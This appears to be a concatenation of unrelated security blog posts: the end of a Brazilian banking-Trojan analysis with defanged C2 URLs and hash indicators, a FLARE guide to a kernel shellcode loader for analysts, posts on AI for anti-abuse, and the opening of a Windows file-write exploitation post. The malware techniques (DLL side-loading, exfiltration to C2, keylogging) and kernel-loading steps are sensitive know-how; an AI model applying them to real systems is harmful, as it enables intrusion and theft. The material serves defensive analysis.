Two files are downloaded from the C2 server. One is a legitimate Microsoft tool and the other is a malicious DLL: 

  • https[:]//panel-dark[.]com/w3af/img2.jpg
  • https[:]//panel-dark[.]com/w3af/img1.jpg

Those files are downloaded and saved into random directories named with the following patterns:

  • <current user dir>\<5 random chars>\<8 random chars>\<4 random chars>\<5 random chars>.exe
  • <current user dir>\<5 random chars>\<8 random chars>\<4 random chars>\CRYPTUI.dll 

The execution chain ensures that persistence is set on the affected system using a .lnk file in the Startup directory. The .lnk file shown in Figure 17 opens the malicious VBS dropped on the system.


Figure 17: Persistence Key

The VBS file (Figure 18) will launch and execute the downloaded legitimate Windows tool, which in this case is Certmgr.exe. This tool will be abused using the DLL side loading technique. The malicious Cryptui.dll is loaded into the program instead of the legitimate one and executed.


Figure 18: Contents of Dropped VBS File

Banking Trojan Analysis

Like the Trojan from the first campaign, this sample is executed through search-order hijacking. In this case, the binary abused is a legitimate Windows tool, Certmgr.exe, that loads Cryptui.dll. Since this tool depends on a legitimate DLL named cryptui.dll, the search order path will find the malicious Trojan with the same name in the same directory and load it into its process space.

The malicious DLL exports 21 functions. Only DllEntryPoint contains real code that is necessary to start the execution of the malicious code. The other functions return hardcoded values that serve no real purpose.

On execution, the Trojan creates a mutex called "correria24" to allow only one instance of it to run at a time.

The malware attempts to resolve “www.goole[.]com” (most likely a misspelling). If successful, it sends a request to hxxp://api-api[.]com/json in order to detect the external IP of the victim. The result is parsed and execution continues only if the country code matches “BR”, as shown in Figure 19.


Figure 19: Country Code Check

The malware creates an empty file in %appdata%\Mariapeirura on first execution, which serves as a mutex lock, before attempting to send any collected information to the C2 server. This is done in order to get only one report per infected host.

The malware collects host information, base64 encodes it, and sends it to two C2 servers. The following items are gathered from the infected system:

  • OS name
  • OS version
  • OS architecture
  • AV installed
  • List of banking software installed
  • IP address
  • Directory where malware is being executed from

The information is sent to hxxp://108.61.188.171/put.php (Figure 20).


Figure 20: Host Recon Data Sent to First C2 Server

The same information is sent to panel-dark[.]com/Contador/put.php (Figure 21).


Figure 21: Host Recon Data Sent to Second C2 Server

The malware alters the value of registry key Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ExtendedUIHoverTime to 2710 in order to change the number of milliseconds a thumbnail is showed while hovering on the taskbar, as seen in Figure 22.


Figure 22: ExtendedUIHoverTime Registry Key Change

Like the Trojan from the first campaign, this sample checks if the foreground window's title contains names of Brazilian banks and digital coins by looking for hardcoded strings.

The malware displays fake forms on top of the banking sites and intercepts credentials from the victims. It can also display a fake Windows Update whenever there is nefarious activity in the background, as seen in Figure 23.


Figure 23: Fake Form Displaying Windows Update

The sample also contains a keylogger functionality, as shown in Figure 24.


Figure 24: Keylogger Function

Command and Control

The Trojan’s command and control command structure is identical to the first sample. The commands are denoted by the <|Command|> syntax.

  • <|OK|> gets a list of banking software installed on the host.
  • '<PING>' is sent from C2 to host, and '<PONG>' is sent from host to C2, to keep connection alive.
  • <|dellLemb|> deletes the registry key \Software\Microsoft\Internet Explorer\notes.
  • EXECPROGAM calls ShellExecute to run the application given in the command.
  • EXITEWINDOWS calls ExitWindowsEx.
  • NOVOLEMBRETE creates and stores data sent with the command in the registry key \Software\Microsoft\Internet Explorer\notes.


Figure 25: Partial List of Victims

This sample contains most of the important strings encrypted. We provide the following script (Figure 26) in order to decrypt them.


Figure 26: String Decryption Script

Conclusion

The use of multi-stage infection chains makes it challenging to research these types of campaigns all the way through.

As demonstrated by our research, the attackers are using various techniques to evade detection and infect unsuspecting Portuguese-speaking users with banking Trojans. The use of public cloud infrastructure to help deliver the different stages plays a particularly big role in delivering the malicious payload. The use of different infection methods combined with the abuse of legitimate signed binaries to load malicious code makes these campaigns worth highlighting.

Indicators of Compromise

Campaign #1
TYPE HASH DESCRIPTION
MD5 860fa744d8c82859b41e00761c6e25f3 PE with Embedded HTA
MD5 3e9622d1a6d7b924cefe7d3458070d98 PE with Embedded HTA
MD5 f402a482fd96b0a583be2a265acd5e74 PE with Embedded HTA
MD5 f329107f795654bfc62374f8930d1e12 PE with Embedded HTA
MD5 789a021c051651dbc9e01c5d8c0ce129 PE with Embedded HTA
MD5 68f818fa156d45889f36aeca5dc75a81 PE with Embedded HTA
MD5 c2cc04be25f227b13bcb0b1d9811e2fe cryptui.dll
MD5 6d2cb9e726c9fac0fb36afc377be3aec id
MD5 dd73f749d40146b6c0d2759ba78b1764 i4.dt
MD5 d9d1e72165601012b9d959bd250997b3 VBS file with commands to create staging directories for malware
MD5 03e4f8327fbb6844e78fda7cdae2e8ad pvk2pfx.exe [Legit Windows Tool]
URL   hxxp://5.83.162.24/ilha/pz/logs.php
URL   hxxp://5.83.162.24/28022018/pz.zip 
C2   ibamanetibamagovbr[.]org/virada/pz/logs.php
URL   sistemasagriculturagov[.]org
URL   hxxp://187.84.229.107/05022018/al.zip
Campaign #2
TYPE HASH DESCRIPTION
MD5 2999724b1aa19b8238d4217565e31c8e AutoIT Dropper
MD5 181c8f19f974ad8a84b8673d487bbf0d img1.jpg [lLegit Windows Tool]
MD5 d3f845c84a2bd8e3589a6fbf395fea06 img2.jpg [Banking Trojan]
MD5 2365fb50eeb6c4476218507008d9a00b Variants of Banking Trojan
MD5 d726b53461a4ec858925ed31cef15f1e Variants of Banking Trojan
MD5 a8b2b6e63daf4ca3e065d1751cac723b Variants of Banking Trojan
MD5 d9682356e78c3ebca4d001de760848b0 Variants of Banking Trojan
MD5 330721de2a76eed2b461f24bab7b7160 Variants of Banking Trojan
MD5 6734245beda04dcf5af3793c5d547923 Variants of Banking Trojan
MD5 a920b668079b2c1b502fdaee2dd2358f Variants of Banking Trojan
MD5 fe09217cc4119dedbe85d22ad23955a1 Variants of Banking Trojan
MD5 82e2c6b0b116855816497667553bdf11 Variants of Banking Trojan
MD5 4610cdd9d737ecfa1067ac30022d793b Variants of Banking Trojan
MD5 34a8dda75aea25d92cd66da53a718589 Variants of Banking Trojan
MD5 88b808d8164e709df2ca99f73ead2e16 Variants of Banking Trojan
MD5 d3f845c84a2bd8e3589a6fbf395fea06 Variants of Banking Trojan
MD5 28a0968163b6e6857471305aee5c17e9 Variants of Banking Trojan
MD5 1285205ae5dd5fa5544b3855b11b989d Variants of Banking Trojan
MD5 613563d7863b4f9f66590064b88164c8 Variants of Banking Trojan
MD5 3dd43e69f8d71fcc2704eb73c1ea7daf Variants of Banking Trojan
C2   https[:]//panel-dark[.]com/w3af/img2.jpg 
C2   https[:]//panel-dark[.]com/w3af/img1.jpg 

Loading Kernel Shellcode

In the wake of recent hacking tool dumps, the FLARE team saw a spike in malware samples detonating kernel shellcode. Although most samples can be analyzed statically, the FLARE team sometimes debugs these samples to confirm specific functionality. Debugging can be an efficient way to get around packing or obfuscation and quickly identify the structures, system routines, and processes that a kernel shellcode sample is accessing.

This post begins a series centered on kernel software analysis, and introduces a tool that uses a custom Windows kernel driver to load and execute Windows kernel shellcode. I’ll walk through a brief case study of some kernel shellcode, how to load shellcode with FLARE’s kernel shellcode loader, how to build your own copy, and how it works.

As always, only analyze malware in a safe environment such as a VM; never use tools such as a kernel shellcode loader on any system that you rely on to get your work done.

A Tale of Square Pegs and Round Holes

Depending upon how a shellcode sample is encountered, the analyst may not know whether it is meant to target user space or kernel space. A common triage step is to load the sample in a shellcode loader and debug it in user space. With kernel shellcode, this can have unexpected results such as the access violation in Figure 1.


Figure 1: Access violation from shellcode dereferencing null pointer

The kernel environment is a world apart from user mode: various registers take on different meanings and point to totally different structures. For instance, while the gs segment register in 64-bit Windows user mode points to the Thread Information Block (TIB) whose size is only 0x38 bytes, in kernel mode it points to the Processor Control Region (KPCR) which is much larger. In Figure 1 at address 0x2e07d9, the shellcode is attempting to access the IdtBase member of the KPCR, but because it is running in user mode, the value at offset 0x38 from the gs segment is null. This causes the next instruction to attempt to access invalid memory in the NULL page. What the code is trying to do doesn’t make sense in the user mode environment, and it has crashed as a result.

In contrast, kernel mode is a perfect fit. Figure 2 shows WinDbg’s dt command being used to display the _KPCR type defined within ntoskrnl.pdb, highlighting the field at offset 0x38 named IdtBase.


Figure 2: KPCR structure

Given the rest of the code in this sample, accessing the IdtBase field of the KPCR made perfect sense. Determining that this was kernel shellcode allowed me to quickly resolve the rest of my questions, but to confirm my findings, I wrote a kernel shellcode loader. Here’s what it looks like to use this tool to load a small, do-nothing piece of shellcode.

Using FLARE’s Kernel Shellcode Loader

I booted a target system with a kernel debugger and opened an administrative command prompt in the directory where I copied the shellcode loader (kscldr.exe). The shellcode loader expects to receive the name of the file on disk where the shellcode is located as its only argument. Figure 3 shows an example where I’ve used a hex editor to write the opcodes for the NOP (0x90) and RET (0xC3) instructions into a binary file and invoked kscldr.exe to pass that code to the kernel shellcode loader driver. I created my file using the Windows port of xxd that comes with Vim for Windows.


Figure 3: Using kscldr.exe to load kernel shellcode

The shellcode loader prompts with a security warning. After clicking yes, kscldr.exe installs its driver and uses it to execute the shellcode. The system is frozen at this point because the kernel driver has already issued its breakpoint and the kernel debugger is awaiting commands. Figure 4 shows WinDbg hitting the breakpoint and displaying the corresponding source code for kscldr.sys.


Figure 4: Breaking in kscldr.sys

From the breakpoint, I use WinDbg with source-level debugging to step and trace into the shellcode buffer. Figure 5 shows WinDbg’s disassembly of the buffer after doing this.


Figure 5: Tracing into and disassembling the shellcode

The disassembly shows the 0x90 and 0xc3 opcodes from before, demonstrating that the shellcode buffer is indeed being executed. From here, the powerful facilities of WinDbg are available to debug and analyze the code’s behavior.

Building It Yourself

To try out FLARE’s kernel shellcode loader for yourself, you’ll need to download the source code.

To get started building it, download and install the Windows Driver Kit (WDK). I’m using Windows Driver Kit Version 7.1.0, which is command line driven, whereas more modern versions of the WDK integrate with Visual Studio. If you feel comfortable using a newer kit, you’re welcomed to do so, but beware, you’ll have to take matters into your own hands regarding build commands and dependencies. Since WDK 7.1.0 is adequate for purposes of this tool, that is the version I will describe in this post.

Once you have downloaded and installed the WDK, browse to the Windows Driver Kits directory in the start menu on your development system and select the appropriate environment. Figure 6 shows the WDK program group on a Windows 7 system. The term “checked build” indicates that debugging checks will be included. I plan to load 64-bit kernel shellcode, and I like having Windows catch my mistakes early, so I’m using the x64 Checked Build Environment.


Figure 6: Windows Driver Kits program group

In the WDK command prompt, change to the directory where you downloaded the FLARE kernel shellcode loader and type ez.cmd. The script will cause prompts to appear asking you to supply and use a password for a test signing certificate. Once the build completes, visit the bin directory and copy kscldr.exe to your debug target. Before you can commence using your custom copy of this tool, you’ll need to follow just a few more steps to prepare the target system to allow it.

Preparing the Debug Target

To debug kernel shellcode, I wrote a Windows software-only driver that loads and runs shellcode at privilege level 0. Normally, Windows only loads drivers that are signed with a special cross-certificate, but Windows allows you to enable testsigning to load drivers signed with a test certificate. We can create this test certificate for free, and it won’t allow the driver to be loaded on production systems, which is ideal.

In addition to enabling testsigning mode, it is necessary to enable kernel debugging to be able to really follow what is happening after the kernel shellcode gains execution. Starting with Windows Vista, we can enable both testsigning and kernel debugging by issuing the following two commands in an administrative command prompt followed by a reboot:

bcdedit.exe /set testsigning on

bcdedit.exe /set debug on

For debugging in a VM, I install VirtualKD, but you can also follow your virtualization vendor’s directions for connecting a serial port to a named pipe or other mechanism that WinDbg understands. Once that is set up and tested, we’re ready to go!

If you try the shellcode loader and get a blue screen indicating stop code 0x3B (SYSTEM_SERVICE_EXCEPTION), then you likely did not successfully connect the kernel debugger beforehand. Remember that the driver issues a software interrupt to give control to the debugger immediately before executing the shellcode; if the debugger is not successfully attached, Windows will blue screen. If this was the case, reboot and try again, this time first confirming that the debugger is in control by clicking Debug -> Break in WinDbg. Once you know you have control, you can issue the g command to let execution continue (you may need to disable driver load notifications to get it to finish the boot process without further intervention: sxd ld).

How It Works

The user-space application (kscldr.exe) copies the driver from a PE-COFF resource to the disk and registers it as a Windows kernel service. The driver implements device write and I/O control routines to allow interaction from the user application. Its driver entry point first registers dispatch routines to handle CreateFile, WriteFile, DeviceIoControl, and CloseHandle. It then creates a device named \Device\kscldr and a symbolic link making the device name accessible from user-space. When the user application opens the device file and invokes WriteFile, the driver calls ExAllocatePoolWithTag specifying a PoolType of NonPagedPool (which is executable), and writes the buffer to the newly allocated memory. After the write operation, the user application can call DeviceIoControl to call into the shellcode. In response, the driver sets the appropriate flags on the device object, issues a breakpoint to pass control to the kernel debugger, and finally calls the shellcode as if it were a function.

While You’re Here

Driver development opens the door to unique instrumentation opportunities. For example, Figure 7 shows a few kernel callback routines described in the WDK help files that can track system-wide process, thread, and DLL activity.


Figure 7: WDK kernel-mode driver architecture reference

Kernel development is a deep subject that entails a great deal of study, but the WDK also comes with dozens upon dozens of sample drivers that illustrate correct Windows kernel programming techniques. This is a treasure trove of Windows internals information, security research topics, and instrumentation possibilities. If you have time, take a look around before you get back to work.

Wrap-Up

We’ve shared FLARE’s tool for loading privileged shellcode in test environments so that we can dynamically analyze kernel shellcode. We hope this provides a straightforward way to quickly triage kernel shellcode if it ever appears in your environment. Download the source code now.

Do you want to learn more about these tools and techniques from FLARE? Then you should take one of our Black Hat classes in Las Vegas this summer! Our offerings include Malware Analysis Crash Course, macOS Malware for Reverse Engineers, and Malware Analysis Master Class.

5 key enterprise IoT security recommendations

Not so long ago, the phrase “consumerization of IT” was on everyone’s lips. Whole publications and conferences (remember CITE, for Consumerization of IT in the Enterprise?) were created to chronicle the trend of corporations relying on products and services originally created for consumers — which was often easier to use and of higher quality than its business-oriented competitors.

Well, no one talks much about the consumerization of IT anymore… not because the trend went away, but because consumer tech has now permeated every aspect of business technology. Today, it’s just how things work — and if you ask me, that’s a good thing.

To read this article in full, please click here

Challenges faced while training an AI to combat abuse

This post looks at the main challenges that arise when training a classifier to combat fraud and abuse.

At a high level, what makes training a classifier to detect fraud and abuse unique is that it deals with data generated by an adversary that actively attempts to evade detection. Sucessfully training a classifier is such adversarial settings requires to overcome the following four challenges:

  1. Non stationarity Abuse-fighting is a non-stationary problem because attacks never stop evolving. This evolution renders past trainnig data obsolete and force classifiers to be retrained continiously to remain accurate.
  2. Lack of ground truth : Collecting accurate attack training data is very difficult because by nature attackers attempts to conceal their activities.
  3. Ambigious data taxonomy : Anti-abuse classifiers have to be very accurate despite dealing with data and taxonomy ambiguity. When you think about it even the well established concept of spam is ill defined.
  4. Lack of obvious features Last, but not least as defenders we have to defend all products which lead us to find way to apply AI to products that are not AI friendly because they lack rich content and features.

This post explore each of these challenges in turn.

This post is the second post of a series of four that is dedicated to provide a concise overview of how to harness AI to build robust anti-abuse protections. The first post explains why AI is key to build robust anti-defenses that keep up with user expectations and increasingly sophisticated attackers. Following the natural progression of building and launching an AI-based defense system, the third post examines classification issues, and the last post looks at how attackers go about attacking AI-based defenses.

This series of posts is modeled after the talk I gave at RSA 2018 . Here is a re-recording of this talk:

You can also get the slides here .

Disclaimer: This series is meant to provide an overview for everyone interested in the subject of harnessing AI for anti-abuse defense, and it is a potential blueprint for those who are making the jump. Accordingly, this series focuses on providing a clear high-level summary, purposely avoiding delving into technical details. That being said, if you are an expert, I am sure you will find ideas and techniques that you haven’t heard about before, and hopefully you will be inspired to explore them further.

Let’s get started!

Non-stationary problem

Traditionally, when applying AI to a given problem, you are able to reuse the same data over and over again because the problem definition is stable. This is not the case when combating abuse because attacks never stop evolving. As a result to ensure that anti-abuse classifiers remain accurate, their training data need to be constantly refreshed to incorporate the latest type of attacks.

Let me give you a concrete example so it is clear what the difference between a stable problem and an unstable/non-stationary one is.

cat example

Let’s say you would like to create a classifier that recognizes cats and other animals. This is considered to be a stable problem because animals are expected to look roughly the same for the next few hundred years (barring a nuclear war). Accordingly, to train this type of classifier, you only need to collect and annotate animal images once at the beginning of the project.

Phishing through ages

On the other hand, if you would like to train a classifier that recognizes phishing pages, this “collect once” approach doesn’t work because phishing pages keep evolving and look drastically different over time, as visible in the screenshot above.

More generally, while training classifiers to combat abuse, the first key challenge is that:

Past training examples become obsolete as attacks evolve

While there are no silver bullet to deal with this obsolescence, here are three complementary strategies that helps coping with ever-changing data.

1. Automate model retraining

You need to automate model retraining on fresh data so your model keeps up with the evolution of attacks. When you automate model retraining, it is a good practice to have a validation set that ensures the new model performs correctly and doesn’t introduce regressions. It is also useful to add hyperparameter optimization to your retraining process to maximize your model accuracy.

2. Build highly generalizable models

Your models have to be designed in a way that ensures they can generalize enough to detect new attacks. While ensuring that a model generalizes well is complex making sure you model have enough (but not too much) capacity (i.e., enough neurons) and quite a lot of training data is a good starting point.

Impact of data augmentation

If you don’t have enough real attack examples, you can supplement your training data with data augmentation techniques that increase the size of your corpus by generating slight variation of your attack examples. As visible in the table above, taken from this paper , data augmentation make models more robust and do increase accuracy significantly.

Learning rates Finally you should consider other finer, well-documented technical aspects, such as tuning the learning rate and using dropout .

3. Set up monitoring and in-depth defense

Finally, you have to assume your model will be bypassed at some point, so you need to build defense in depth to mitigate this issue. You also need to set up monitoring that will alert you when this occurs. Monitoring for a drop in the number of detected attacks or a spike in user reports is a good starting point.

Gmail malicious attacks

Gmail malicious attacks

Quite often, I get asked how quickly attacks are evolving in practice. While I don’t have a general answer, here is a key statistic that I hope will convince you that attackers indeed mutate their attack incredibly quickly: 97 percent of Gmail malicious attachments blocked today are different from the ones blocked yesterday.

Fortunately those new malicious attachments are variations of recent attacks and therefore can be blocked by systems that generalize well and are trained regularly.

Lack of ground truth data

Dog and Cat

For most classification tasks, collecting training data is fairly easy because you can leverage human expertise. For example, if you want to build an animal classifier, you could ask people to take a picture of animals and tell you which animals are in it.

Play Store reviews

On the other hand, collecting ground truth (training data) for anti-abuse purposes is not that easy because bad actors try very hard to impersonate real users. As a result, it is very hard even for humans to tease apart what is real and what is fake. For instance, the screenshot above showcases two Play store reviews. Would you be able to tell me which one is real and which one is fake?

Obviously telling them apart is impossible because they are both well written and over the top. This struggle to collect abusive content accurately exists all across the board whether it is for reviews, comments, fake accounts or network attacks. By the way, both reviews are real in case you were wondering.☺️

Accordingly, the second challenge on the quest to train a successful classifier is that:

Abusers try to hide their activities, which makes it hard to collect ground truth data

While no definitive answers exist on how to overcome this challenge, here are three techniques to collect ground truth data that can help alleviate the issue.

1. Applying clustering methods

First, you can leverage clustering methods to expand upon known abusive content to find more of it. It is often hard to find the right balance while doing so because if you are clustering too much, you end up flagging good content as bad, and if you don’t cluster enough, you won’t collect enough data.

2. Collecting ground truth with honeypots

Honeypots -controlled settings ensure you that they will only collect attacks. The main difficulty with honeypots is to make sure that the collected data is representative of the set of the attacks experienced by production systems. Overall, honeypots are very valuable, but it takes a significant investment to get them to collect meaningful attacks.

3. Leverage generative adversarial networks

Examples of Data augmentation using GAN

A new and promising direction is to leverage the recent advance in machine learning and use a Generative Adversarial Network (main paper), better known as GAN, to reliably increase your training dataset . The screenshot above, taken from this paper, show you an example of face generation using it: only the top left image is real. While still very experimental, here is one of the last paper on the topic, this approach is exciting as it paves the way to generate meaningful attack variations at scale.

Ambiguous data & taxonomy

The third challenge that arises when building a classifier is that what we consider bad is often ill defined, and there are a lot of borderline cases where even humans struggle to make a decision.

Context matters

For example, the sentence “I am going to kill you” can either be viewed as the sign of a healthy competition if you are playing a video game with your buddies or it can be a threat if it is used in a serious argument. More generally, it is important to realize that:

Unwanted content is inherently context, culture and settings dependent

Accordingly, is it impossible, except for very specific use cases such as profanity or gibberish detection, to build universal classifiers that will work across all products and for all users.

Spam foldering

When you think about it, even the well-established concept of SPAM is ill defined and means different things for different people. For example, countless Gmail users decide that the emails coming from a mailing list they willingly subscribed to a long time ago are now spam because they lost interest in the topic.

Here are three way to help your classifier deal with ambiguity:

  1. Model context, culture and settings: Easier said than done! Add features that represent the context in which the classification is performed. This will ensure that the classifier is able to reach a different decision when the same data is used in different settings.

  2. Use personalized models: Your models need to be architectured in a way that takes into account user interests and levels of tolerance. This can be done by adding some features (pioneer paper) that model user behavior.

  3. Offer users additional meaningful choices: You can reduce ambiguity by providing users with alternative choices that are more meaningful than a generic reporting mechanism. Those more precise choices reduce ambiguity by reducing the number of use cases that are clamped behind a single ill-defined concept, such as spam.

Gmail blocking option

Here is a concrete example of how the addition of meaningful choices reduces ambiguity. Back in 2015, Gmail started offering its users the ability to easily unsubscribe from mailing lists and block senders, giving them more control over their inboxes. Under the hood, this new options helps the classifiers as they reduce the ambiguity of what is marked as spam.

Lack of obvious features

Our fourth and last training challenge is that some products lack obvious features. Until now, we have focused on classifying rich content such as text, binary and image, but not every product has such rich content.

Youtube views

For example, Youtube has to be defended against fake views, and not a lot of obvious features that can be leveraged to do so. Looking at the view count timeline for the famous Gangnam style video, you will notice two anomalous peaks. These might be from spammers or simply because the video had huge spikes due to virality. It is impossible to tell by just looking at how the view count grew over time.

In general, AI thrives on feature-rich problems such as text or image classification; however, abuse fighters have to make AI work across the board to protect all users and products. This need to cover the entire attack surface led us to use AI to tackle use-cases that are less and ideal, and sooner or later we have to face a hard truth:

Some products in need of protection don’t have the rich features AI thrives on

Fortunately, you can (partially) work around the lack of rich features. In a nutshell, the way to build an accurate classifier when you don’t have enough content features is to leverage auxiliary data as much as possible. Here are three key sources of auxiliary data you can potentially use:

  1. Context: Everything related to the client software or network can be used, including the user agent, the client IP address and the screen resolution.

  2. Temporal behavior: Instead of looking at an event in isolation, you can model the sequence of actions that is generated by each user. You can also look at the sequence of actions that target a specific artifact, such as a given video. Those temporal sequences provide a rich set of statistical features.

  3. Anomaly detection: It is impossible for an attacker to fully behave like a normal user, so anomaly features can almost always be used to boost detection accuracy.

The last point is not as obvious as it seems so let’s deep dive into it.

Attackers

At its core, what separates rudimentary attackers from advanced ones is their ability to accurately impersonate legitimate user behavior. However, because attackers aim at gaming the system, there always will be some behaviors that they can’t spoof.

It is those unspoofable behaviors that we aim at detecting using one-class classification . Introduced circa 1996 , the idea behind one-class classification is to use AI to find all the entities belonging to a single class (the normal behavior in our case) out of all entities that exist in a dataset. Every entity that is not member of that class is then considered an outlier.

One class classifier

For abuse purposes, one-class classification allows to detect anomaly/potential attacks even when you have no attack examples. For example, the figure above shows in red a set of malicious IPs attacking Google products that were detected using this type of approach.

Overall, one-class classification is a great complement to more traditional AI systems as its requirements are fundamentally different. As mentioned earlier, you can even take this one step further and feed the result of your one-class classifier to a standard one (binary class) to boost its accuracy.

This wraps up our deep dive into the challenges faced while training an anti-abuse classifier. The next post covers the challenges that arise when you start running your classifier in production. The final post of the serie discusses the various attacks against classifiers and how to mitigate them

Thank you for reading this post till the end! If you enjoyed it, don’t forget to share it on your favorite social network so that your friends and colleagues can enjoy it too and learn about AI and anti-abuse.

To get notified when my next post is online, follow me on Twitter , Facebook , Google+ , or LinkedIn . You can also get the full posts directly in your inbox by subscribing to the mailing list or via RSS .

A bientôt!

How to successfully harness AI to combat fraud and abuse

While machine learning is integral to innumerable anti-abuse systems including spam and phishing detection, the road to reap its benefits is paved with numerous abuse-specific challenges. Drawing from concrete examples this session will discuss how these challenges are addressed at Google and providea roadmap to anyone interested in applying machine learning to fraud and abuse problems. Watching this talk will allow you to:

  1. Learn how machine learning helps combat fraud and abuse.
  2. Discover how to overcome challenges faced when using machine learning to anti-abuse.
  3. Understand what the unsolved challenges are in the space.

Why AI is the key to robust anti-abuse defenses

This post explains why artificial intelligence (AI) is the key to building anti-abuse defenses that keep up with user expectations and combat increasingly sophisticated attacks. This is the first post of a series of four posts dedicated to provide a concise overview of how to harness AI to build robust anti-abuse protections.

The remaining three posts delve into the top 10 anti-abuse specific challenges encountered while applying AI to abuse fighting, and how to overcome them. Following the natural progression of building and launching an AI-based defense system, the second post covers the challenges related to training, the third post delves into classification issues and the fourth and final post looks at how attackers go about attacking AI-based defenses.

This series of posts is modeled after the talk I gave at RSA 2018 . Here is a re-recording of this talk:

You can also get the slides here .

Disclaimer: This series is meant to provide an overview for everyone interested in the subject of harnessing AI for anti-abuse defense, and it is a potential blueprint for those who are making the jump. Accordingly, this series focuses on providing a clear high-level summary, purposely avoiding delving into technical details. That being said, if you are an expert, I am sure you will find ideas and techniques that you haven’t heard about before, and hopefully you will be inspired to explore them further.

Let’s kickoff this series with a motivating example.

NYT trolls

I am an avid reader of The New York Times, and one of my favorite moments on the site is when I find a comment that offers an insightful perspective that helps me better understand the significance of the news reported. Knowing this, you can imagine my unhappiness, back in September 2017, when The New York Times announced its decision to close the comment sections because it couldn't keep up with the trolls that rentelessy attempted to derail the conversation :-(

NYT closes comments

This difficult decision created a backlash from their readership, which felt censored and didn’t understand the reasoning behind it. This led The New York Times to go on record a few days after to explain that it couldn’t keep up with the troll onslaught and felt it had no other choice than closing the comments, in order to maintain the quality of the publication.

Conventional protections are failing

The New York Times case is hardly an exception. Many other publications have disallowed comments due to trolling. More generally, many online services, including games and recommendation services, are struggling to keep up with the continuous onslaught of abusive attempts. These struggles are the symptom of a larger issue:

Conventional abuse defenses are falling behind

Conventional Abuse defense failing

Three major underlying factors contribute to the failure of conventional protections:

  1. User expectations and standards have dramatically increased. These days, users perceive the mere presence of a single abusive comment, spam email or bad images as a failure of the system to protect them.
  2. The amount and diversity of user-generated content has exploded. Dealing with this explosion requires anti-abuse systems to scale up to cover a large volume of diverse content and a wide range of attacks.
  3. Attacks have become increasingly sophisticated. Attackers never stop evolving, and online services are now facing well-executed, coordinated attacks that systematically attempt to target their defense’s weakest points.

AI is the way forward

AI based defense

So, if conventional approaches are failing, how do we build anti-abuse protection that is able to keep up with those ever-expanding underlying factors? Based on our experience at Google, I argue that:

AI is key to building protections that keep up with user expectations and combat increasingly sophisticated attacks.

AI really

I know! The word AI is thrown around a lot these days, and skepticism surrounds it. However, as I am going to explain, there are fundamental reasons why AI is currently the best technology to build effective anti-fraud and abuse protections.

AI to the rescue of The NYT

Before delving into those fundamental reasons, let’s go back to The New York Times story so I can tell you how it ended.

NYT reopening comments

The New York Times story has an awesome ending : not only were the comments reopened, but they were also extended to many more articles.

What made this happy ending possible, under the hood, is an AI system developed by Google and Jigsaw that empowered The NYT to scale up its comment moderation.

Perspective API

This system, called Perspective API , leverages deep learning to assign a toxicity score to the 11,000 comments posted daily on The New York Times site. The NYT comments review team leverages those scores to scale up by only focusing on the potentially toxic comments. Since its release, many websites have adopted Perspective API, including Wikipedia and The Guardian .

The fundamental reasons behind the ability of AI to combat abuse

AI for anti abuse reasons

Fundamentally, AI allows to build robust abuse protections because it is able to do the following better than any other systems:

  1. Data generalization: Classifiers are able to accurately block content that matches ill-defined concepts, such as spam, by generalizing efficiently from their training examples.
  2. Temporal extrapolation: AI systems are able to identify new attacks based on the ones observed previously.
  3. Data maximization: By nature, an AI is able to optimally combine all the detection signals to come up with the best decision possible. In particular, it is able to exploit the nonlinear relations that exist between the various data inputs.

Deep learning scales with data

The final piece of the puzzle that explains why AI is overtaking anti-abuse fighting, and many other fields, is the rise of deep learning. What makes deep learning so powerful is that deep neural networks, in contrast to previous AI algorithms, scale up as more data and computational resources are used.

Deep learning impact on anti abuse fighting

From an abuse-fighting perspective, this ability to scale up is a game changer because it moves us from a world where more data means more problems to a world where more data means better defense for users.

How deep learning helps Gmail to stay ahead of spammers

Gmail attack surface

Every week, Gmail’s anti-spam filter automatically scans hundred of billions of emails to protect its billion-plus users from phishing, spam and malware.

Gmail filters breakdown

The component that keeps Gmail’s filter ahead of spammers is its deep learning classifier. The 3.5% additional coverage it provides comes mostly from its ability to the detect advanced spam and phishing attacks that are missed by the other part of the filter, including the previous generation linear classifier.

Deep learning is for everyone

AI really

Now, some of you might think that deep learning only works for big companies like Google or that it is still very experimental or too expensive. Nothing could be further from the truth.

Over the last three years, deep learning has become very mature. Between Cloud APIs and free frameworks, it is very easy and quick to start benefiting from deep learning. For example, Tensorflow and Keras provide a very performant, robust and well-documented framework that empowers you to build state-of-the-art classifiers with just a few lines of code. You can find pre-trained models here , a list of keras related ressources here and one for Tensorflow here .

Challenges ahead

AI challenges

While it is clear that AI is the way forward to build robust defenses, this does not mean that the road to success is without challenges. The next three posts will delve into the top 10 anti-abuse specific challenges encountered while applying AI to abuse fighting, and how to overcome them.

How to apply AI to anti abuse roadmap

Those 10 challenges are grouped into the following three categories/posts that follow the natural progression of building and launching an AI-based defense system:

  1. Training: This post looks at how to overcome the four main challenges faced while training anti-abuse classifiers, as those challenges are the ones you will encounter first.
  2. Classification: This post delves into the two key problems that arise when you put your classifier in production and start blocking attacks.
  3. Attacks: The last post of the series discusses the four main ways attackers try to derail classifiers and how to mitigate them.

Thank you for reading this post till the end! If you enjoyed it, don’t forget to share it on your favorite social network so that your friends and colleagues can enjoy it too and learn about AI and anti-abuse.

To get notified when my next post is online, follow me on Twitter , Facebook , Google+ , or LinkedIn . You can also get the full posts directly in your inbox by subscribing to the mailing list or via RSS .

A bientôt!

Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege

Posted by James Forshaw, Project Zero

Previously I presented a technique to exploit arbitrary directory creation vulnerabilities on Windows to give you read access to any file on the system. In the upcoming Spring Creators Update (RS4) the abuse of mount points to link to files as I exploited in the previous blog post has been remediated. This is an example of a long term security benefit from detailing how vulnerabilities might be exploited, giving a developer an incentive to find ways of mitigating the exploitation vector.

Keeping with that spirit in this blog post I’ll introduce a novel technique to exploit the more common case of arbitrary file writes on Windows 10. Perhaps once again Microsoft might be able to harden the OS to make it more difficult to exploit these types of vulnerabilities. I’ll demonstrate exploitation by describing in detail the recently fixed issue that Project Zero reported to Microsoft (issue 1428).

An arbitrary file write vulnerability is where a user can create or modify a file in a location they could not normally access. This might be due to a privileged service incorrectly sanitizing information passed by the user or due to a symbolic link planting attack where the user can write a link into a location which is subsequently used by the privileged service. The ideal vulnerability is one where the attacking user not only controls the location of the file being written but also the entire contents. This is the type of vulnerability we’ll consider in this blog post.
